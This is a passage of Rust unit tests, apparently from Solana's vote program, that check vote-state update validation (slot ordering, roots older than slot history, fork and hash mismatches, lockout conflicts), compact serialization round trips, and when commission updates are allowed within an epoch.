3455 let current_vote_state_slots: Vec<Slot> = vec![1, 2, 3, 4];
3456 let current_vote_state_root = Some(0);
3457 let vote_state_update_slots_and_lockouts = vec![(5, 1)];
3458 let vote_state_update_root = 4;
3459 let expected_root = Some(4);
3460 let expected_vote_state = vec![Lockout {
3461 slot: 5,
3462 confirmation_count: 1,
3463 }];
3464 run_test_check_update_vote_state_older_than_history_root(
3465 earliest_slot_in_history,
3466 current_vote_state_slots,
3467 current_vote_state_root,
3468 vote_state_update_slots_and_lockouts,
3469 vote_state_update_root,
3470 expected_root,
3471 expected_vote_state,
3472 );
3473
3474 let earliest_slot_in_history = 5;
3477 let current_vote_state_slots: Vec<Slot> = vec![1, 2, 3, 4];
3478 let current_vote_state_root = Some(0);
3479 let vote_state_update_slots_and_lockouts = vec![(4, 2), (5, 1)];
3480 let vote_state_update_root = 3;
3481 let expected_root = Some(3);
3482 let expected_vote_state = vec![
3483 Lockout {
3484 slot: 4,
3485 confirmation_count: 2,
3486 },
3487 Lockout {
3488 slot: 5,
3489 confirmation_count: 1,
3490 },
3491 ];
3492 run_test_check_update_vote_state_older_than_history_root(
3493 earliest_slot_in_history,
3494 current_vote_state_slots,
3495 current_vote_state_root,
3496 vote_state_update_slots_and_lockouts,
3497 vote_state_update_root,
3498 expected_root,
3499 expected_vote_state,
3500 );
3501
3502 let earliest_slot_in_history = 5;
3504 let current_vote_state_slots: Vec<Slot> = vec![1, 2, 4];
3505 let current_vote_state_root = Some(0);
3506 let vote_state_update_slots_and_lockouts = vec![(4, 2), (5, 1)];
3507 let vote_state_update_root = 3;
3508 let expected_root = Some(2);
3509 let expected_vote_state = vec![
3510 Lockout {
3511 slot: 4,
3512 confirmation_count: 2,
3513 },
3514 Lockout {
3515 slot: 5,
3516 confirmation_count: 1,
3517 },
3518 ];
3519 run_test_check_update_vote_state_older_than_history_root(
3520 earliest_slot_in_history,
3521 current_vote_state_slots,
3522 current_vote_state_root,
3523 vote_state_update_slots_and_lockouts,
3524 vote_state_update_root,
3525 expected_root,
3526 expected_vote_state,
3527 );
3528
3529 let earliest_slot_in_history = 4;
3532 let current_vote_state_slots: Vec<Slot> = vec![3, 4];
3533 let current_vote_state_root = None;
3534 let vote_state_update_slots_and_lockouts = vec![(3, 3), (4, 2), (5, 1)];
3535 let vote_state_update_root = 2;
3536 let expected_root = None;
3537 let expected_vote_state = vec![
3538 Lockout {
3539 slot: 3,
3540 confirmation_count: 3,
3541 },
3542 Lockout {
3543 slot: 4,
3544 confirmation_count: 2,
3545 },
3546 Lockout {
3547 slot: 5,
3548 confirmation_count: 1,
3549 },
3550 ];
3551 run_test_check_update_vote_state_older_than_history_root(
3552 earliest_slot_in_history,
3553 current_vote_state_slots,
3554 current_vote_state_root,
3555 vote_state_update_slots_and_lockouts,
3556 vote_state_update_root,
3557 expected_root,
3558 expected_vote_state,
3559 );
3560
3561 let earliest_slot_in_history = 4;
3563 let current_vote_state_slots: Vec<Slot> = vec![];
3564 let current_vote_state_root = None;
3565 let vote_state_update_slots_and_lockouts = vec![(5, 1)];
3566 let vote_state_update_root = 2;
3567 let expected_root = None;
3568 let expected_vote_state = vec![Lockout {
3569 slot: 5,
3570 confirmation_count: 1,
3571 }];
3572 run_test_check_update_vote_state_older_than_history_root(
3573 earliest_slot_in_history,
3574 current_vote_state_slots,
3575 current_vote_state_root,
3576 vote_state_update_slots_and_lockouts,
3577 vote_state_update_root,
3578 expected_root,
3579 expected_vote_state,
3580 );
3581 }
3582
3583 #[test]
3584 fn test_check_update_vote_state_slots_not_ordered() {
3585 let slot_hashes = build_slot_hashes(vec![1, 2, 3, 4]);
3586 let vote_state = build_vote_state(vec![1], &slot_hashes);
3587
3588 let vote_slot = 3;
3590 let vote_slot_hash = slot_hashes
3591 .iter()
3592 .find(|(slot, _hash)| *slot == vote_slot)
3593 .unwrap()
3594 .1;
3595 let mut vote_state_update = VoteStateUpdate::from(vec![(2, 2), (1, 3), (vote_slot, 1)]);
3596 vote_state_update.hash = vote_slot_hash;
3597 assert_eq!(
3598 vote_state.check_update_vote_state_slots_are_valid(
3599 &mut vote_state_update,
3600 &slot_hashes,
3601 Some(&FeatureSet::all_enabled())
3602 ),
3603 Err(VoteError::SlotsNotOrdered),
3604 );
3605
3606 let mut vote_state_update = VoteStateUpdate::from(vec![(2, 2), (2, 2), (vote_slot, 1)]);
3608 vote_state_update.hash = vote_slot_hash;
3609 assert_eq!(
3610 vote_state.check_update_vote_state_slots_are_valid(
3611 &mut vote_state_update,
3612 &slot_hashes,
3613 Some(&FeatureSet::all_enabled()),
3614 ),
3615 Err(VoteError::SlotsNotOrdered),
3616 );
3617 }
3618
3619 #[test]
3620 fn test_check_update_vote_state_older_than_history_slots_filtered() {
3621 let slot_hashes = build_slot_hashes(vec![1, 2, 3, 4]);
3622 let mut vote_state = build_vote_state(vec![1, 2, 3, 4], &slot_hashes);
3623
3624 let earliest_slot_in_history = 11;
3629 let slot_hashes = build_slot_hashes(vec![earliest_slot_in_history, 12, 13, 14]);
3630 let vote_slot = 12;
3631 let vote_slot_hash = slot_hashes
3632 .iter()
3633 .find(|(slot, _hash)| *slot == vote_slot)
3634 .unwrap()
3635 .1;
3636 let missing_older_than_history_slot = earliest_slot_in_history - 1;
3637 let mut vote_state_update = VoteStateUpdate::from(vec![
3638 (1, 4),
3639 (missing_older_than_history_slot, 2),
3640 (vote_slot, 3),
3641 ]);
3642 vote_state_update.hash = vote_slot_hash;
3643 vote_state
3644 .check_update_vote_state_slots_are_valid(
3645 &mut vote_state_update,
3646 &slot_hashes,
3647 Some(&FeatureSet::all_enabled()),
3648 )
3649 .unwrap();
3650
3651 assert_eq!(
3653 vote_state_update
3654 .clone()
3655 .lockouts
3656 .into_iter()
3657 .collect::<Vec<Lockout>>(),
3658 vec![
3659 Lockout {
3660 slot: 1,
3661 confirmation_count: 4,
3662 },
3663 Lockout {
3664 slot: vote_slot,
3665 confirmation_count: 3,
3666 }
3667 ]
3668 );
3669 assert!(do_process_vote_state_update(
3670 &mut vote_state,
3671 &slot_hashes,
3672 0,
3673 vote_state_update,
3674 Some(&FeatureSet::all_enabled()),
3675 )
3676 .is_ok());
3677 }
3678
3679 #[test]
3680 fn test_minimum_balance() {
3681 let rent = solana_sdk::rent::Rent::default();
3682 let minimum_balance = rent.minimum_balance(VoteState::size_of());
3683 assert!(minimum_balance as f64 / 10f64.powf(9.0) < 0.04)
3685 }
3686
3687 #[test]
3688 fn test_check_update_vote_state_older_than_history_slots_not_filtered() {
3689 let slot_hashes = build_slot_hashes(vec![4]);
3690 let mut vote_state = build_vote_state(vec![4], &slot_hashes);
3691
3692 let earliest_slot_in_history = 11;
3697 let slot_hashes = build_slot_hashes(vec![earliest_slot_in_history, 12, 13, 14]);
3698 let vote_slot = 12;
3699 let vote_slot_hash = slot_hashes
3700 .iter()
3701 .find(|(slot, _hash)| *slot == vote_slot)
3702 .unwrap()
3703 .1;
3704 let existing_older_than_history_slot = 4;
3705 let mut vote_state_update =
3706 VoteStateUpdate::from(vec![(existing_older_than_history_slot, 3), (vote_slot, 2)]);
3707 vote_state_update.hash = vote_slot_hash;
3708 vote_state
3709 .check_update_vote_state_slots_are_valid(
3710 &mut vote_state_update,
3711 &slot_hashes,
3712 Some(&FeatureSet::all_enabled()),
3713 )
3714 .unwrap();
3715 assert_eq!(vote_state_update.lockouts.len(), 2);
3717 assert_eq!(
3718 vote_state_update
3719 .clone()
3720 .lockouts
3721 .into_iter()
3722 .collect::<Vec<Lockout>>(),
3723 vec![
3724 Lockout {
3725 slot: existing_older_than_history_slot,
3726 confirmation_count: 3,
3727 },
3728 Lockout {
3729 slot: vote_slot,
3730 confirmation_count: 2,
3731 }
3732 ]
3733 );
3734 assert!(do_process_vote_state_update(
3735 &mut vote_state,
3736 &slot_hashes,
3737 0,
3738 vote_state_update,
3739 Some(&FeatureSet::all_enabled()),
3740 )
3741 .is_ok());
3742 }
3743
3744 #[test]
3745 fn test_check_update_vote_state_older_than_history_slots_filtered_and_not_filtered() {
3746 let slot_hashes = build_slot_hashes(vec![6]);
3747 let mut vote_state = build_vote_state(vec![6], &slot_hashes);
3748
3749 let earliest_slot_in_history = 11;
3760 let slot_hashes = build_slot_hashes(vec![earliest_slot_in_history, 12, 13, 14]);
3761 let vote_slot = 14;
3762 let vote_slot_hash = slot_hashes
3763 .iter()
3764 .find(|(slot, _hash)| *slot == vote_slot)
3765 .unwrap()
3766 .1;
3767
3768 let missing_older_than_history_slot = 4;
3769 let existing_older_than_history_slot = 6;
3770
3771 let mut vote_state_update = VoteStateUpdate::from(vec![
3772 (missing_older_than_history_slot, 4),
3773 (existing_older_than_history_slot, 3),
3774 (12, 2),
3775 (vote_slot, 1),
3776 ]);
3777 vote_state_update.hash = vote_slot_hash;
3778 vote_state
3779 .check_update_vote_state_slots_are_valid(
3780 &mut vote_state_update,
3781 &slot_hashes,
3782 Some(&FeatureSet::all_enabled()),
3783 )
3784 .unwrap();
3785 assert_eq!(vote_state_update.lockouts.len(), 3);
3786 assert_eq!(
3787 vote_state_update
3788 .clone()
3789 .lockouts
3790 .into_iter()
3791 .collect::<Vec<Lockout>>(),
3792 vec![
3793 Lockout {
3794 slot: existing_older_than_history_slot,
3795 confirmation_count: 3,
3796 },
3797 Lockout {
3798 slot: 12,
3799 confirmation_count: 2,
3800 },
3801 Lockout {
3802 slot: vote_slot,
3803 confirmation_count: 1,
3804 }
3805 ]
3806 );
3807 assert!(do_process_vote_state_update(
3808 &mut vote_state,
3809 &slot_hashes,
3810 0,
3811 vote_state_update,
3812 Some(&FeatureSet::all_enabled()),
3813 )
3814 .is_ok());
3815 }
3816
3817 #[test]
3818 fn test_check_update_vote_state_slot_not_on_fork() {
3819 let slot_hashes = build_slot_hashes(vec![2, 4, 6, 8]);
3820 let vote_state = build_vote_state(vec![2, 4, 6], &slot_hashes);
3821
3822 let missing_vote_slot = 3;
3828
3829 let vote_slot = vote_state.votes.back().unwrap().slot + 2;
3832 let vote_slot_hash = slot_hashes
3833 .iter()
3834 .find(|(slot, _hash)| *slot == vote_slot)
3835 .unwrap()
3836 .1;
3837 let mut vote_state_update =
3838 VoteStateUpdate::from(vec![(missing_vote_slot, 2), (vote_slot, 3)]);
3839 vote_state_update.hash = vote_slot_hash;
3840 assert_eq!(
3841 vote_state.check_update_vote_state_slots_are_valid(
3842 &mut vote_state_update,
3843 &slot_hashes,
3844 Some(&FeatureSet::all_enabled())
3845 ),
3846 Err(VoteError::SlotsMismatch),
3847 );
3848
3849 let missing_vote_slot = 7;
3851 let mut vote_state_update = VoteStateUpdate::from(vec![
3852 (2, 5),
3853 (4, 4),
3854 (6, 3),
3855 (missing_vote_slot, 2),
3856 (vote_slot, 1),
3857 ]);
3858 vote_state_update.hash = vote_slot_hash;
3859 assert_eq!(
3860 vote_state.check_update_vote_state_slots_are_valid(
3861 &mut vote_state_update,
3862 &slot_hashes,
3863 Some(&FeatureSet::all_enabled())
3864 ),
3865 Err(VoteError::SlotsMismatch),
3866 );
3867 }
3868
3869 #[test]
3870 fn test_check_update_vote_state_root_on_different_fork() {
3871 let slot_hashes = build_slot_hashes(vec![2, 4, 6, 8]);
3872 let vote_state = build_vote_state(vec![6], &slot_hashes);
3873
3874 let new_root = 3;
3880
3881 let vote_slot = 8;
3884 assert_eq!(vote_slot, slot_hashes.first().unwrap().0);
3885 let vote_slot_hash = slot_hashes
3886 .iter()
3887 .find(|(slot, _hash)| *slot == vote_slot)
3888 .unwrap()
3889 .1;
3890 let mut vote_state_update = VoteStateUpdate::from(vec![(vote_slot, 1)]);
3891 vote_state_update.hash = vote_slot_hash;
3892 vote_state_update.root = Some(new_root);
3893 assert_eq!(
3894 vote_state.check_update_vote_state_slots_are_valid(
3895 &mut vote_state_update,
3896 &slot_hashes,
3897 Some(&FeatureSet::all_enabled())
3898 ),
3899 Err(VoteError::RootOnDifferentFork),
3900 );
3901 }
3902
3903 #[test]
3904 fn test_check_update_vote_state_slot_newer_than_slot_history() {
3905 let slot_hashes = build_slot_hashes(vec![2, 4, 6, 8, 10]);
3906 let vote_state = build_vote_state(vec![2, 4, 6], &slot_hashes);
3907
3908 let missing_vote_slot = slot_hashes.first().unwrap().0 + 1;
3914 let vote_slot_hash = Hash::new_unique();
3915 let mut vote_state_update = VoteStateUpdate::from(vec![(8, 2), (missing_vote_slot, 3)]);
3916 vote_state_update.hash = vote_slot_hash;
3917 assert_eq!(
3918 vote_state.check_update_vote_state_slots_are_valid(
3919 &mut vote_state_update,
3920 &slot_hashes,
3921 Some(&FeatureSet::all_enabled())
3922 ),
3923 Err(VoteError::SlotsMismatch),
3924 );
3925 }
3926
3927 #[test]
3928 fn test_check_update_vote_state_slot_all_slot_hashes_in_update_ok() {
3929 let slot_hashes = build_slot_hashes(vec![2, 4, 6, 8]);
3930 let mut vote_state = build_vote_state(vec![2, 4, 6], &slot_hashes);
3931
3932 let vote_slot = vote_state.votes.back().unwrap().slot + 2;
3938 let vote_slot_hash = slot_hashes
3939 .iter()
3940 .find(|(slot, _hash)| *slot == vote_slot)
3941 .unwrap()
3942 .1;
3943 let mut vote_state_update =
3944 VoteStateUpdate::from(vec![(2, 4), (4, 3), (6, 2), (vote_slot, 1)]);
3945 vote_state_update.hash = vote_slot_hash;
3946 vote_state
3947 .check_update_vote_state_slots_are_valid(
3948 &mut vote_state_update,
3949 &slot_hashes,
3950 Some(&FeatureSet::all_enabled()),
3951 )
3952 .unwrap();
3953
3954 assert_eq!(
3956 vote_state_update
3957 .clone()
3958 .lockouts
3959 .into_iter()
3960 .collect::<Vec<Lockout>>(),
3961 vec![
3962 Lockout {
3963 slot: 2,
3964 confirmation_count: 4,
3965 },
3966 Lockout {
3967 slot: 4,
3968 confirmation_count: 3,
3969 },
3970 Lockout {
3971 slot: 6,
3972 confirmation_count: 2,
3973 },
3974 Lockout {
3975 slot: vote_slot,
3976 confirmation_count: 1,
3977 }
3978 ]
3979 );
3980
3981 assert!(do_process_vote_state_update(
3982 &mut vote_state,
3983 &slot_hashes,
3984 0,
3985 vote_state_update,
3986 Some(&FeatureSet::all_enabled()),
3987 )
3988 .is_ok());
3989 }
3990
3991 #[test]
3992 fn test_check_update_vote_state_slot_some_slot_hashes_in_update_ok() {
3993 let slot_hashes = build_slot_hashes(vec![2, 4, 6, 8, 10]);
3994 let mut vote_state = build_vote_state(vec![6], &slot_hashes);
3995
3996 let vote_slot = vote_state.votes.back().unwrap().slot + 2;
4002 let vote_slot_hash = slot_hashes
4003 .iter()
4004 .find(|(slot, _hash)| *slot == vote_slot)
4005 .unwrap()
4006 .1;
4007 let mut vote_state_update = VoteStateUpdate::from(vec![(4, 2), (vote_slot, 1)]);
4008 vote_state_update.hash = vote_slot_hash;
4009 vote_state
4010 .check_update_vote_state_slots_are_valid(
4011 &mut vote_state_update,
4012 &slot_hashes,
4013 Some(&FeatureSet::all_enabled()),
4014 )
4015 .unwrap();
4016
4017 assert_eq!(
4019 vote_state_update
4020 .clone()
4021 .lockouts
4022 .into_iter()
4023 .collect::<Vec<Lockout>>(),
4024 vec![
4025 Lockout {
4026 slot: 4,
4027 confirmation_count: 2,
4028 },
4029 Lockout {
4030 slot: vote_slot,
4031 confirmation_count: 1,
4032 }
4033 ]
4034 );
4035
4036 assert_eq!(
4040 do_process_vote_state_update(
4041 &mut vote_state,
4042 &slot_hashes,
4043 0,
4044 vote_state_update,
4045 Some(&FeatureSet::all_enabled())
4046 ),
4047 Err(VoteError::LockoutConflict)
4048 );
4049 }
4050
4051 #[test]
4052 fn test_check_update_vote_state_slot_hash_mismatch() {
4053 let slot_hashes = build_slot_hashes(vec![2, 4, 6, 8]);
4054 let vote_state = build_vote_state(vec![2, 4, 6], &slot_hashes);
4055
4056 let vote_slot = vote_state.votes.back().unwrap().slot + 2;
4061 let vote_slot_hash = Hash::new_unique();
4062 let mut vote_state_update =
4063 VoteStateUpdate::from(vec![(2, 4), (4, 3), (6, 2), (vote_slot, 1)]);
4064 vote_state_update.hash = vote_slot_hash;
4065 assert_eq!(
4066 vote_state.check_update_vote_state_slots_are_valid(
4067 &mut vote_state_update,
4068 &slot_hashes,
4069 Some(&FeatureSet::all_enabled())
4070 ),
4071 Err(VoteError::SlotHashMismatch),
4072 );
4073 }
4074
4075 #[test]
4076 fn test_serde_compact_vote_state_update() {
4077 let mut rng = rand::thread_rng();
4078 for _ in 0..5000 {
4079 run_serde_compact_vote_state_update(&mut rng);
4080 }
4081 }
4082
4083 #[allow(clippy::integer_arithmetic)]
4084 fn run_serde_compact_vote_state_update<R: Rng>(rng: &mut R) {
4085 let lockouts: VecDeque<_> = std::iter::repeat_with(|| Lockout {
4086 slot: 149_303_885 + rng.gen_range(0, 10_000),
4087 confirmation_count: rng.gen_range(0, 33),
4088 })
4089 .take(32)
4090 .sorted_by_key(|lockout| lockout.slot)
4091 .collect();
4092 let root = rng
4093 .gen_ratio(1, 2)
4094 .then(|| lockouts[0].slot - rng.gen_range(0, 1_000));
4095 let timestamp = rng.gen_ratio(1, 2).then(|| rng.gen());
4096 let hash = Hash::from(rng.gen::<[u8; 32]>());
4097 let vote_state_update = VoteStateUpdate {
4098 lockouts,
4099 root,
4100 hash,
4101 timestamp,
4102 };
4103 #[derive(Debug, Eq, PartialEq, Deserialize, Serialize)]
4104 enum VoteInstruction {
4105 #[serde(with = "serde_compact_vote_state_update")]
4106 UpdateVoteState(VoteStateUpdate),
4107 UpdateVoteStateSwitch(
4108 #[serde(with = "serde_compact_vote_state_update")] VoteStateUpdate,
4109 Hash,
4110 ),
4111 }
4112 let vote = VoteInstruction::UpdateVoteState(vote_state_update.clone());
4113 let bytes = bincode::serialize(&vote).unwrap();
4114 assert_eq!(vote, bincode::deserialize(&bytes).unwrap());
4115 let hash = Hash::from(rng.gen::<[u8; 32]>());
4116 let vote = VoteInstruction::UpdateVoteStateSwitch(vote_state_update, hash);
4117 let bytes = bincode::serialize(&vote).unwrap();
4118 assert_eq!(vote, bincode::deserialize(&bytes).unwrap());
4119 }
4120
4121 #[test_case(0, true; "first slot")]
4122 #[test_case(DEFAULT_SLOTS_PER_EPOCH / 2, true; "halfway through epoch")]
4123 #[test_case(DEFAULT_SLOTS_PER_EPOCH / 2 + 1, false; "halfway through epoch plus one")]
4124 #[test_case(DEFAULT_SLOTS_PER_EPOCH - 1, false; "last slot in epoch")]
4125 #[test_case(DEFAULT_SLOTS_PER_EPOCH, true; "first slot in second epoch")]
4126 fn test_epoch_half_check(slot: Slot, expected_allowed: bool) {
4127 let epoch_schedule = EpochSchedule::without_warmup();
4128 assert_eq!(
4129 is_commission_update_allowed(slot, &epoch_schedule),
4130 expected_allowed
4131 );
4132 }
4133
4134 #[test]
4135 fn test_warmup_epoch_half_check_with_warmup() {
4136 let epoch_schedule = EpochSchedule::default();
4137 let first_normal_slot = epoch_schedule.first_normal_slot;
4138 assert!(is_commission_update_allowed(0, &epoch_schedule));
4140 assert!(is_commission_update_allowed(
4143 first_normal_slot - 1,
4144 &epoch_schedule
4145 ));
4146 }
4147
4148 #[test_case(0, true; "first slot")]
4149 #[test_case(DEFAULT_SLOTS_PER_EPOCH / 2, true; "halfway through epoch")]
4150 #[test_case(DEFAULT_SLOTS_PER_EPOCH / 2 + 1, false; "halfway through epoch plus one")]
4151 #[test_case(DEFAULT_SLOTS_PER_EPOCH - 1, false; "last slot in epoch")]
4152 #[test_case(DEFAULT_SLOTS_PER_EPOCH, true; "first slot in second epoch")]
4153 fn test_epoch_half_check_with_warmup(slot: Slot, expected_allowed: bool) {
4154 let epoch_schedule = EpochSchedule::default();
4155 let first_normal_slot = epoch_schedule.first_normal_slot;
4156 assert_eq!(
4157 is_commission_update_allowed(first_normal_slot + slot, &epoch_schedule),
4158 expected_allowed
4159 );
4160 }
4161}